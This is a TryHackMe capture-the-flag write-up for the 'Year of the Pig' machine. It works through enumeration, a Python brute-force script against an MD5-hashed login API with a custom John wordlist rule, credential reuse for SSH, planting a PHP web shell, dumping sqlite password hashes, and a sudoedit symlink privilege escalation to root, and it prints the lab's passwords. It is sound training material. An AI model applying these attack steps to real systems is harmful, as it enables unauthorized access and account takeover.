Year of the Pig (THM)

TryHackMe – Year of the Pig Write-Up

topics: web application attacks, sensitive data exposure, brute force, client side attacks (custom wordlist), lateral movement (sqlite3 dumping creds), Linux Privilege Escalation (sudoedit)

1. Enumeration

2. Local Privilege Escalation

3. Root Privilege Escalation

new tools:

Enumeration

initial autorecon and nmap scans

nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN "/scans/_full_tcp_nmap.txt" -oX "/scans/xml/_full_tcp_nmap.xml" $ip

There are two services on this machine HTTP and SSH. Lets navigate to the homepage and analyze the autorecon scans.

Below we have the result of a gobuster scan which lists several directories that we have access to.

/api/experiments looks interesting

The website homepage mentions a user marco and that the user is a former Italian Airforce pilot.

There is a wealth of information on the homepage. The creator is very explicit about their life, mentioning their love for airplanes and former service career. The gobuster scan showed a login.php page that contained an interesting message.

login.php: messages after test login

The website is built by and dedicated to the creator marco so we can assume that is the valid login username. While testing random input to analyze the POST response, a particular message appears that says "Remember that passwords should be a memorable word, followed by two numbers and a special character"

This hint is too specific to pass up on. As we have a username and per the hint, the password requires a memorable word followed by two numbers and a special character. This sets up a no brain brute force scenario.

Local Privilege Escalation

Marco lists his four favorite planes and a specific city he frequents. We can add the password condition to the john configuration file, generate custom passwords based on the homepage and brute force with the username marco.

Marco lists his favorite plane as Savoia S.21 which fits the password description, a simple guess of savoia21! grants us access and confirms the password.

If however this information was not available, we could write a small python script to brute force the credentials. Inspecting the POST request:

I used a test password of "wwwwwww" which does not match the password value, instead it appears to be a hash value. Using hash-identifier tells us the hash is MD5 encoded.

Create a pass.txt file with memorable words from the website manually or with cewl and edit /etc/john/john.conf to include the lines:

[List.Rules:PigRule]
Az"[0-9][0-9][!?#$%&/()=]"

The script takes the URL as an argument and does the following:

• uses a for loop to read the input of stdin (the custom passwords)

• fetches the MD5 sum of the passwords

• makes a POST request to the login page, converting the data into a JSON string

• reads the JSON data from the request and prints the valid input if the response does not return an error

import requests, sys, json, hashlib
#usage: john --wordlist=pass.txt -rules:PigRule -stdout | python3 brute.py http://yotp
payload = {"username":sys.argv[2],"password":"test"}

print("Username: marco")

for line in sys.stdin:
    payload["password"] = hashlib.md5(line.rstrip().encode('utf-8')).hexdigest()
    r = requests.post(f"{sys.argv[1]}/api/login", data=json.dumps(payload))
    json_data = json.loads(r.content)

    if json_data["Response"] != "Error":
        print("Password:", line)
        break

The line payload["password"] = hashlib.md5(line.rstrip().encode('utf-8')).hexdigest() removes trailing characters with r.strip(), encodes the hash with default UTF-8, and encodes the data in hexadecimal format.

john --wordlist=pass.txt -rules:PigRule -stdout | python3 brute.py http://yotp marco

Initial Access

We now have the credentials marco:savoia21!. Logging into the admin page displays a console, a method to add/delete users, and reset passwords.

Let's see if this password is also valid for SSH access ssh marco@yotp -p22

and we have initial access

Checking the contents of /home we see there is another user on the system, curtis who houses the second flag and is seemingly the main user on this machine.

We need to find a way to laterally escalate our privileges and become curtis. Parsing through /var/www contains a binary database file admin.db which should contain the hashed password of curtis.

The file is owned by www-data, I attempted to send the file via nc through the web console but the file did not properly transfer. Instead we can download a PHP shell into the /var/www/html directory.

Next we can read the file with sqlite3 as the user www-data to dump the hashed password of curtis.

sqlite> .tables
sqlite> .schema users
sqlite> select * from users;

Inputting the hash on hashes.com returns the credentials curtis:Donald1983$, we can switch over to marco's SSH session for user privilege escalation

Root Privilege Escalation

Starting with sudo -l

"sudoedit" was unfamiliar language to me, searching "sudoedit privilege escalation" lead me to CVE-2015-5602

We can create a symbolic link to the /etc/sudoers file and add curtis to it. Curtis does not have access to the directory so we have to link the file using ln with marco.

Switch back to marco in the SSH session, create two directories under /var/www/html and run ln -s /etc/sudoers /var/www/html/ab/ba/config.php

Next run sudoedit /var/www/html/*/*/config.php and add the line curtis ALL=(ALL) ALL

sudo su

we are now root